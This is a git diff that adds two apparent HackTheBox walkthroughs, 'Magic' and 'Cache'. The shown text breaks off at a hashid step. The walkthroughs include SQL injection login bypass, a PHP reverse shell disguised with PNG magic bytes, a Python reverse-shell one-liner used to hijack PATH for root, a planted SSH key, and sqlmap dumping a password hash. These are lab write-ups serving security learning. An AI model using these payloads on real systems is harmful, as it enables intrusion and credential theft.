2021/06/24 15:44:14 Starting gobuster in directory enumeration mode + =============================================================== + /.hta (Status: 403) [Size: 277] + /.htpasswd (Status: 403) [Size: 277] + /.htaccess (Status: 403) [Size: 277] + /.sh_history (Status: 403) [Size: 277] + /assets (Status: 301) [Size: 313] [--> http://10.10.10.185/assets/] + /images (Status: 301) [Size: 313] [--> http://10.10.10.185/images/] + /index.php (Status: 200) [Size: 4050] + /server-status (Status: 403) [Size: 277] + + [ 10.10.14.11/23 ] [ /dev/pts/16 ] [~] + → gobuster dir -u http://10.10.10.185/images/ -r -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50 + =============================================================== + Gobuster v3.1.0 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://10.10.10.185/images/ + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.1.0 + [+] Follow Redirect: true + [+] Timeout: 10s + =============================================================== + 2021/06/24 15:46:26 Starting gobuster in directory enumeration mode + =============================================================== + /.sh_history (Status: 403) [Size: 277] + /.hta (Status: 403) [Size: 277] + /.htaccess (Status: 403) [Size: 277] + /.htpasswd (Status: 403) [Size: 277] + /uploads (Status: 403) [Size: 277] + + =============================================================== + 2021/06/24 15:47:11 Finished + =============================================================== + + + +So here we see that there is a directory **/images/uploads/** so it's safe to assume that we will need to upload a malicious file: + +![](prg/55_001.png) + +Now on the first page we see there is a login php page hyperlink at the bottom left, so we're going to intercept the request with burpsuite and see what's up: + +![](prg/55_002.png) + +So we have the following POST request: + + + POST /login.php HTTP/1.1 + Host: 10.10.10.185 + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Content-Type: application/x-www-form-urlencoded + Content-Length: 29 + Origin: http://10.10.10.185 + Connection: close + Referer: http://10.10.10.185/login.php + Cookie: PHPSESSID=d08upquemehq9gte4accrged80 + Upgrade-Insecure-Requests: 1 + + username=admin&password;=admin + + + +When we send it as it is, we get the following response: + +![](prg/55_003.png) + +Let's try to do a SQL injection: + + + #raw + username=' or 1=1#&password;=admin + + #url encoded (select in burp and do CTRL+U) + username='+or+1%3d1%23&password;=admin + + + +Use it in the **Proxy** tab in burpsuite, then click Forward. And you will be greeted by the following: + +![](prg/55_004.png) + +Now let's make a malicious png file to upload there. Since we know that this box has php on it we're going to make a simple php reverse shell: + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] + → vim rev.php + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] + → cat rev.php + <****?php + exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.11/9001 0>&1'"); + ?****> + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] + → sudo apt install exiftool -y + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] + → wget https://blog.nowhere.moe/assets/img/user.png -O rev.png + --2021-06-24 16:15:12-- https://blog.nowhere.moe/assets/img/user.png + Resolving blog.nowhere.moe (blog.nowhere.moe)... 185.199.108.153, 185.199.109.153, 185.199.111.153, ... + Connecting to blog.nowhere.moe (blog.nowhere.moe)|185.199.108.153|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 14891 (15K) [image/png] + Saving to: ‘rev.png’ + + rev.png 100%[=================================================================================================================================================>] 14.54K --.-KB/s in 0.02s + + 2021-06-24 16:15:14 (816 KB/s) - ‘rev.png’ saved [14891/14891] + +Now basically we want the magic bytes of that png file (first few bytes of a png image) and then we want to concatenate the magic bytes to our php reverse shell file like so: + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] + → head -c20 rev.png | xxd + 00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR + 00000010: 0000 01f4 .... + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] + → head -c10 rev.png | xxd + 00000000: 8950 4e47 0d0a 1a0a 0000 .PNG...... + + +Here we grab the first few bytes until the first nullbyte, and save it to another file: + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] + → head -c72 rev.png | xxd + 00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR + 00000010: 0000 01f4 0000 01f4 0806 0000 00cb d6df ................ + 00000020: 8a00 0000 0173 5247 4200 aece 1ce9 0000 .....sRGB....... + 00000030: 0004 6741 4d41 0000 b18f 0bfc 6105 0000 ..gAMA......a... + 00000040: 0009 7048 5973 0000 ..pHYs.. + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] + → head -c72 rev.png > png-magic-bytes.png + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] + → file png-magic-bytes.png + png-magic-bytes.png: PNG image data, 500 x 500, 8-bit/color RGBA, non-interlaced + + + +So we concatenate them together: + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] + → cat png-magic-bytes.png rev.php + PNG + + IHDߊsRGBgAMA + a pHYs<****?php + exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.11/9001 0>&1'"); + ?****> + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] + → cat png-magic-bytes.png rev.php > magic.php.png + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] + → file magic + magic: cannot open `magic' (No such file or directory) + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] + → file magic.php.png + magic.php.png: PNG image data, 500 x 500, 8-bit/color RGBA, non-interlaced + +And now we have our reverse php shell with the magic bytes of a png file. So let's upload the image: + +![](prg/55_005.png) ![](prg/55_006.png) + +Now that the image has been uploaded, we attempt to trigger the reverse shell by browsing to it at the **/images/uploads/magic.php.png** path we found earlier: + +![](prg/55_007.png) + +And we get a reverse shell! + + + [ 10.10.14.11/23 ] [ /dev/pts/24 ] [~/HTB/magic] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.185] 51376 + bash: cannot set terminal process group (1135): Inappropriate ioctl for device + bash: no job control in this shell + www-data@ubuntu:/var/www/Magic/images/uploads$ + + + +Now let's upgrade our reverse shell to a fully interactive TTY: + + + www-data@ubuntu:/var/www/Magic/images/uploads$ which python python3 curl wget + which python python3 curl wget + /usr/bin/python3 + /usr/bin/wget + www-data@ubuntu:/var/www/Magic/images/uploads$ python3 -c 'import pty;pty.spawn("/bin/bash")' + www-data@ubuntu:/var/www/Magic/images/uploads$ ^Z + [1] + 1387803 suspended nc -lvnp 9001 + + [ 10.10.14.11/23 ] [ /dev/pts/24 ] [~/HTB/magic] + → stty raw -echo ; fg + [1] + 1387803 continued nc -lvnp 9001 + export TERM=screen-256color + www-data@ubuntu:/var/www/Magic/images/uploads$ export SHELL=bash + www-data@ubuntu:/var/www/Magic/images/uploads$ stty rows 40 columns 225 + www-data@ubuntu:/var/www/Magic/images/uploads$ reset + + +And now that we have a fully interactive TTY let's take a look around the web directory: + + + www-data@ubuntu:/var/www/Magic/images/uploads$ cd ~ + www-data@ubuntu:/var/www$ ls -lash + total 16K + 4.0K drwxr-xr-x 4 root root 4.0K Mar 13 2020 . + 4.0K drwxr-xr-x 15 root root 4.0K Oct 15 2019 .. + 4.0K drwxr-xr-x 4 www-data www-data 4.0K Mar 17 2020 Magic + 4.0K drwxr-xr-x 2 root root 4.0K Dec 3 2019 html + www-data@ubuntu:/var/www$ cat Magic/db.php5 + <****?php + class Database + { + private static $dbName = 'Magic' ; + private static $dbHost = 'localhost' ; + private static $dbUsername = 'theseus'; + private static $dbUserPassword = 'iamkingtheseus'; + + private static $cont = null; + + public function __construct() { + die('Init function is not allowed'); + } + + public static function connect() + { + // One connection through whole application + if ( null == self::$cont ) + { + try + { + self::$cont = new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword); + } + catch(PDOException $e) + { + die($e->getMessage()); + } + } + return self::$cont; + } + + public static function disconnect() + { + self::$cont = null; + } + } + +Now here we have potential credentials for a local database with the user **theseus** so let's try to dump the database contents with it: + + + www-data@ubuntu:/var/www$ mysqldump -u theseus Magic -p > /tmp/database.dump + Enter password: iamkingtheseus + + www-data@ubuntu:/var/www$ cat /tmp/database.dump | grep admin + INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng'); + + + +And now we have credentials for the user 'theseus' so let's try to use his credentials :: + + + www-data@ubuntu:/var/www$ su theseus + Password: + theseus@ubuntu:/var/www$ cd ~ + theseus@ubuntu:~$ cat user.txt + 58XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc to the root user we're going to need to enumerate the box using linpeas.sh: + + + [terminal 1] + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] + → cp /home/nothing/HTB/obscurity/linpeas.sh . + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [terminal 2] + theseus@ubuntu:~$ wget http://10.10.14.11:9090/linpeas.sh -O /tmp/peas.sh + --2021-06-25 00:53:01-- http://10.10.14.11:9090/linpeas.sh + Connecting to 10.10.14.11:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: ‘/tmp/peas.sh’ + + /tmp/peas.sh 100%[====================================================>] 333.85K 171KB/s in 1.9s + + 2021-06-25 00:53:04 (171 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863] + + theseus@ubuntu:~$ chmod +x /tmp/peas.sh + theseus@ubuntu:~$ /tmp/peas.sh + + + +` ![](prg/55_008.png) + +Let linpeas.sh run a bit, then scrolling through the output we see the following SUID binary: + +![](prg/55_009.png) + +Apparently there is an unknown SUID binary in **/bin/sysinfo** so let's run it to see what it does: + + + theseus@ubuntu:~$ /bin/sysinfo --help + ====================Hardware Info==================== + H/W path Device Class Description + ===================================================== + system VMware Virtual Platform + /0 bus 440BX Desktop Reference Platform + /0/0 memory 86KiB BIOS + /0/1 processor AMD EPYC 7401P 24-Core Processor + /0/1/0 memory 16KiB L1 cache + /0/1/1 memory 16KiB L1 cache + /0/1/2 memory 512KiB L2 cache + /0/1/3 memory 512KiB L2 cache + /0/2 processor AMD EPYC 7401P 24-Core Processor + /0/28 memory System Memory + /0/28/0 memory 4GiB DIMM DRAM EDO + /0/28/1 memory DIMM DRAM [empty] + /0/28/2 memory DIMM DRAM [empty] + /0/28/3 memory DIMM DRAM [empty] + /0/28/4 memory DIMM DRAM [empty] + /0/28/5 memory DIMM DRAM [empty] + /0/28/6 memory DIMM DRAM [empty] + /0/28/7 memory DIMM DRAM [empty] + /0/28/8 memory DIMM DRAM [empty] + + [...] + + bugs : fxsave_leak sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass + bogomips : 4000.00 + TLB size : 2560 4K pages + clflush size : 64 + cache_alignment : 64 + address sizes : 43 bits physical, 48 bits virtual + power management: + + + ====================MEM Usage===================== + total used free shared buff/cache available + Mem: 3.8G 562M 1.8G 3.9M 1.5G 3.0G + Swap: 947M 0B 947M + + theseus@ubuntu:~$ + + + +It basically gives a bunch of infos about the system. Now before our shell breaks, let's get our ssh public key onto the box in order to access that user more easily: + + + theseus@ubuntu:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere' > ~/.ssh/authorized_keys + + [ 10.66.66.2/32 ] [ /dev/pts/29 ] [~/HTB/magic] + → ssh theseus@10.10.10.185 -i ~/.ssh/mainpc + Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-42-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + + * Canonical Livepatch is available for installation. + - Reduce system reboots and improve kernel security. Activate at: + https://ubuntu.com/livepatch + + 29 packages can be updated. + 0 updates are security updates. + + Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings + + Your Hardware Enablement Stack (HWE) is supported until April 2023. + theseus@ubuntu:~$ + + + +Let's monitor the processes ran by root using pspy: + + + [terminal 1] + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] + → cp /home/nothing/HTB/book/pspy64s . + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [terminal 2] + theseus@ubuntu:~$ wget http://10.10.14.11:9090/pspy64s -O /tmp/pspy + --2021-06-25 01:02:54-- http://10.10.14.11:9090/pspy64s + Connecting to 10.10.14.11:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 1156536 (1.1M) [application/octet-stream] + Saving to: ‘/tmp/pspy’ + + /tmp/pspy 100%[=================================================================================================================================================>] 1.10M 382KB/s in 3.0s + + 2021-06-25 01:02:58 (382 KB/s) - ‘/tmp/pspy’ saved [1156536/1156536] + + theseus@ubuntu:~$ chmod +x /tmp/pspy + theseus@ubuntu:~$ /tmp/pspy + + + +` ![](prg/55_010.png) + +Now on another shell we run **sysinfo** on the box and observe what it does from pspy: + +![](prg/55_011.png) + +Now here we see that sysinfo basically executes **lshw** so we should be able to create our own lshw with a reverse python3 shell into it, and we would change the **PATH** variable to make sure our binary file takes priority over the other lshw: + + + theseus@ubuntu:~$ cd /tmp + theseus@ubuntu:/tmp$ mkdir nihilist + theseus@ubuntu:/tmp$ cd nihilist/ + theseus@ubuntu:/tmp/nihilist$ nano lshw + theseus@ubuntu:/tmp/nihilist$ cat lshw + python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' + + theseus@ubuntu:/tmp/nihilist$ chmod +x lshw + theseus@ubuntu:/tmp/nihilist$ PATH=$PATH:$(pwd) + theseus@ubuntu:/tmp/nihilist$ echo $PATH + .:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/tmp/nihilist + + + +Now let's run sysinfo again + + + [terminal 1] + theseus@ubuntu:/tmp/nihilist$ sysinfo + ====================Hardware Info==================== + + [terminal 2] + [ 10.66.66.2/32 ] [ /dev/pts/35 ] [~/HTB/magic] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.185] 51382 + # id + uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus) + ca cat /root/root.txt + acXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get a reverse shell as the root user. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/55_graph.png) + diff --git a/Medium/56.md b/Medium/56.md new file mode 100644 index 0000000..5cea3e2 --- /dev/null +++ b/Medium/56.md @@ -0,0 +1,763 @@ +# Cache Writeup + +![](img/56.png) + +## Introduction : + +Cache is a Medium Linux box released back in May 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/cache] + → nmap -vvv -p- 10.10.10.188 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 80/tcp on 10.10.10.188 + Discovered open port 22/tcp on 10.10.10.188 + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/cache] + → nmap -sCV -p22,80 10.10.10.188 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-25 10:56 CEST + Nmap scan report for 10.10.10.188 + Host is up (0.47s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA) + | 256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA) + |_ 256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519) + 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) + |_http-server-header: Apache/2.4.29 (Ubuntu) + |_http-title: Cache + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 24.07 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/56_001.png) + +we see a domain name so let's add it to our hosts file: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/cache] + → sudo -i + [sudo] password for nothing: + ┌──(root💀nowhere)-[~] + └─# echo '10.10.10.188 cache.htb' >> /etc/hosts + + ┌──(root💀nowhere)-[~] + └─# ping -c1 cache.htb + PING cache.htb (10.10.10.188) 56(84) bytes of data. + 64 bytes from cache.htb (10.10.10.188): icmp_seq=1 ttl=63 time=472 ms + + --- cache.htb ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 471.503/471.503/471.503/0.000 ms + + ┌──(root💀nowhere)-[~] + └─# exit + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/cache] + → + + +Now when we browse to login.html we get a hint that the server is using jquery: + +![](prg/56_002.png) + +So we can look for other jquery files with gobuster like so: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/cache] + → gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://cache.htb -x js,txt,html + + + +Which leads us to **http://cache.htb/jquery/functionality.js** + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/cache] + → curl http://cache.htb/jquery/functionality.js + $(function(){ + + var error_correctPassword = false; + var error_username = false; + + function checkCorrectPassword(){ + var Password = $("#password").val(); + **if(Password != 'H@v3_fun'){** + alert("Password didn't Match"); + error_correctPassword = true; + } + } + function checkCorrectUsername(){ + var Username = $("#username").val(); + if(Username != "ash"){ + alert("Username didn't Match"); + error_username = true; + } + } + $("#loginform").submit(function(event) { + /* Act on the event */ + error_correctPassword = false; + checkCorrectPassword(); + error_username = false; + checkCorrectUsername(); + + + if(error_correctPassword == false && error_username ==false){ + return true; + } + else{ + return false; + } + }); + + }); + + +And here you see some hardcoded password, although we don't know where to use it yet. Looking at the gobuster results we had in the background, we see the following: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/cache] + → gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://cache.htb -x js,txt,html + =============================================================== + Gobuster v3.1.0 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://cache.htb + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.1.0 + [+] Extensions: js,txt,html + [+] Timeout: 10s + =============================================================== + 2021/06/25 11:17:47 Starting gobuster in directory enumeration mode + =============================================================== + /news.html (Status: 200) [Size: 7235] + /login.html (Status: 200) [Size: 2421] + /index.md (Status: 200) [Size: 8193] + /contactus.html (Status: 200) [Size: 2539] + **/author.html (Status: 200) [Size: 1522]** + /net.html (Status: 200) [Size: 290] + /javascript (Status: 301) [Size: 311] [--> http://cache.htb/javascript/] + + + +` ![](prg/56_003.png) + +Apparently there's another project called 'HMS' so let's add **hms.htb** to our hosts file: + + + [ 10.66.66.2/32 ] [ /dev/pts/36 ] [~/HTB/cache] + → sudo -i + [sudo] password for nothing: + ┌──(root💀nowhere)-[~] + └─# echo '10.10.10.188 hms.htb' >> /etc/hosts + + ┌──(root💀nowhere)-[~] + └─# ping -c1 hms.htb + PING hms.htb (10.10.10.188) 56(84) bytes of data. + 64 bytes from cache.htb (10.10.10.188): icmp_seq=1 ttl=63 time=469 ms + + --- hms.htb ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 468.811/468.811/468.811/0.000 ms + + ┌──(root💀nowhere)-[~] + └─# exit + + [ 10.66.66.2/32 ] [ /dev/pts/36 ] [~/HTB/cache] + → + + + +Now that's done let's check it out in the web browser: + +![](prg/56_004.png) + +Here we get an OpenEmr instance from 2018 let's enumerate it further with gobuster: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/cache] + → gobuster dir -u "http://hms.htb" -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php + =============================================================== + Gobuster v3.1.0 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://hms.htb + [+] Method: GET + [+] Threads: 10 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.1.0 + [+] Extensions: php + [+] Timeout: 10s + =============================================================== + 2021/06/25 11:32:31 Starting gobuster in directory enumeration mode + =============================================================== + /.htaccess (Status: 403) [Size: 272] + /.htpasswd (Status: 403) [Size: 272] + /.htaccess.php (Status: 403) [Size: 272] + /.htpasswd.php (Status: 403) [Size: 272] + /LICENSE (Status: 200) + /admin.php (Status: 200) + /ci (Status: 301) + /cloud (Status: 301) + /common (Status: 301) + /config (Status: 301) + /contrib (Status: 301) + /controller.php (Status: 200) + /controllers (Status: 301) + /custom (Status: 301) + /entities (Status: 301) + /images (Status: 301) + /index.php (Status: 302) + /interface (Status: 301) + /javascript (Status: 301) + /library (Status: 301) + /modules (Status: 301) + /myportal (Status: 301) + /patients (Status: 301) + /portal (Status: 301) + /public (Status: 301) + /repositories (Status: 301) + /server-status (Status: 403) + /services (Status: 301) + /setup.php (Status: 200) + /sites (Status: 301) + /sql (Status: 301) + /templates (Status: 301) + /tests (Status: 301) + /vendor (Status: 301) + /version.php (Status: 200) + + + +we take a look at the admin.php page: + +![](prg/56_005.png) + +So now we get the OpenEMR version which we will use later on for the following exploit: + + + [ 10.66.66.2/32 ] [ /dev/pts/36 ] [~/HTB/cache] + → searchsploit openEmr | grep 45161 + OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated) | php/webapps/45161.py + + +This exploit says it requires authentication so we need to enumerate that service further, we can use this pdf [file](https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf) which gives us a hint to take a look at **http://hms.htb/portal/find_appt_popup_user.php** : + +![](prg/56_006.png) + +After we click 'search' we see that it reveals the **catid=** parameter, so let's try to do a SQL injection on it: **?catid=1'** + +![](prg/56_007.png) + +We got some progress! now let's use sqlmap to speed that up, and to do so we're going to need the cookies we got on that php page: + +![](prg/56_008.png) + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/cache] + → sqlmap -u "http://hms.htb/portal/find_appt_popup_user.php?catid=1" --cookie="PHPSESSID=67s63uj7i9hj201podq5k7mms2;OpenEMR=srvdn0b5flokcrjdfoiv1aqdot" --dbs --batch --threads=5 + ___ + __H__ + ___ ___[]_____ ___ ___ {1.5.6#stable} + |_ -| . [)] | .| . | + |___|_ []_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 11:52:24 /2021-06-25/ + + [11:52:24] [INFO] testing connection to the target URL + [11:52:25] [INFO] testing if the target URL content is stable + [11:52:26] [INFO] target URL content is stable + [11:52:26] [INFO] testing if GET parameter 'catid' is dynamic + [11:52:26] [WARNING] GET parameter 'catid' does not appear to be dynamic + + [...] + + GET parameter 'catid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N + sqlmap identified the following injection point(s) with a total of 402 HTTP(s) requests: + --- + Parameter: catid (GET) + Type: boolean-based blind + Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause + Payload: catid=1' RLIKE (SELECT (CASE WHEN (3857=3857) THEN 1 ELSE 0x28 END))-- hgcX + + Type: error-based + Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) + Payload: catid=1' AND GTID_SUBSET(CONCAT(0x71787a7671,(SELECT (ELT(8387=8387,1))),0x716b767071),8387)-- xaou + + Type: time-based blind + Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) + Payload: catid=1' AND (SELECT 5222 FROM (SELECT(SLEEP(5)))icnP)-- NGjN + --- + [11:56:01] [INFO] the back-end DBMS is MySQL + web server operating system: Linux Ubuntu 18.04 (bionic) + web application technology: Apache 2.4.29 + back-end DBMS: MySQL >= 5.6 + [11:56:04] [INFO] fetching database names + [11:56:05] [INFO] starting 2 threads + [11:56:05] [INFO] retrieved: 'information_schema' + [11:56:06] [INFO] retrieved: 'openemr' + available databases [2]: + [*] information_schema + **[*] openemr** + + [11:56:06] [INFO] fetched data logged to text files under '/home/nothing/.local/share/sqlmap/output/hms.htb' + + [*] ending @ 11:56:06 /2021-06-25/ + + + +so sqlmap found the openemr database, now let's enumerate it further: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/cache] + → sqlmap -u "http://hms.htb/portal/find_appt_popup_user.php?catid=1" --cookie="PHPSESSID=67s63uj7i9hj201podq5k7mms2;OpenEMR=srvdn0b5flokcrjdfoiv1aqdot" -D openemr -T users_secure --dump --batch --threads=5 + ___ + __H__ + ___ ___[.]_____ ___ ___ {1.5.6#stable} + |_ -| . [.] | .| . | + |___|_ []_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 12:00:04 /2021-06-25/ + + [12:00:04] [INFO] resuming back-end DBMS 'mysql' + [12:00:04] [INFO] testing connection to the target URL + sqlmap resumed the following injection point(s) from stored session: + --- + Parameter: catid (GET) + + [...] + + [12:00:06] [INFO] fetching columns for table 'users_secure' in database 'openemr' + [12:00:06] [WARNING] reflective value(s) found and filtering out + [12:00:06] [INFO] starting 5 threads + [12:00:07] [INFO] retrieved: 'id' + [12:00:07] [INFO] retrieved: 'username' + [12:00:07] [INFO] retrieved: 'password' + [12:00:08] [INFO] retrieved: 'bigint(20)' + [12:00:08] [INFO] retrieved: 'last_update' + [12:00:08] [INFO] retrieved: 'salt' + [12:00:08] [INFO] retrieved: 'varchar(255)' + [12:00:09] [INFO] retrieved: 'salt_history1' + [12:00:09] [INFO] retrieved: 'timestamp' + [12:00:09] [INFO] retrieved: 'varchar(255)' + [12:00:09] [INFO] retrieved: 'varchar(255)' + [12:00:09] [INFO] retrieved: 'password_history1' + [12:00:09] [INFO] retrieved: 'varchar(255)' + [12:00:09] [INFO] retrieved: 'password_history2' + [12:00:09] [INFO] retrieved: 'salt_history2' + [12:00:10] [INFO] retrieved: 'varchar(255)' + [12:00:10] [INFO] retrieved: 'varchar(255)' + [12:00:10] [INFO] retrieved: 'varchar(255)' + [12:00:11] [INFO] fetching entries for table 'users_secure' in database 'openemr' + [12:00:12] [INFO] retrieved: '1' + [12:00:12] [INFO] retrieved: '2019-11-21 06:38:40' + [12:00:12] [INFO] retrieved: '$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.' + [12:00:13] [INFO] retrieved: ' ' + [12:00:13] [INFO] retrieved: ' ' + [12:00:14] [INFO] retrieved: '$2a$05$l2sTLIG6GTBeyBf7TAKL6A$' + [12:00:14] [INFO] retrieved: ' ' + [12:00:15] [INFO] retrieved: ' ' + [12:00:15] [INFO] retrieved: 'openemr_admin' + Database: openemr + Table: users_secure + [1 entry] + +----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+ + | id | salt | password | username | last_update | salt_history1 | salt_history2 | password_history1 | password_history2 | + +----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+ + | 1 | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | **$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.** | openemr_admin | 2019-11-21 06:38:40 | NULL | NULL | NULL | NULL | + +----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+ + + [12:00:16] [INFO] table 'openemr.users_secure' dumped to CSV file '/home/nothing/.local/share/sqlmap/output/hms.htb/dump/openemr/users_secure.csv' + [12:00:16] [INFO] fetched data logged to text files under '/home/nothing/.local/share/sqlmap/output/hms.htb' + + [*] ending @ 12:00:15 /2021-06-25/ + + + +We may have found openemr_admin's password, but it's hashed so let's try to see which hash format it is: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/cache] + → hashid 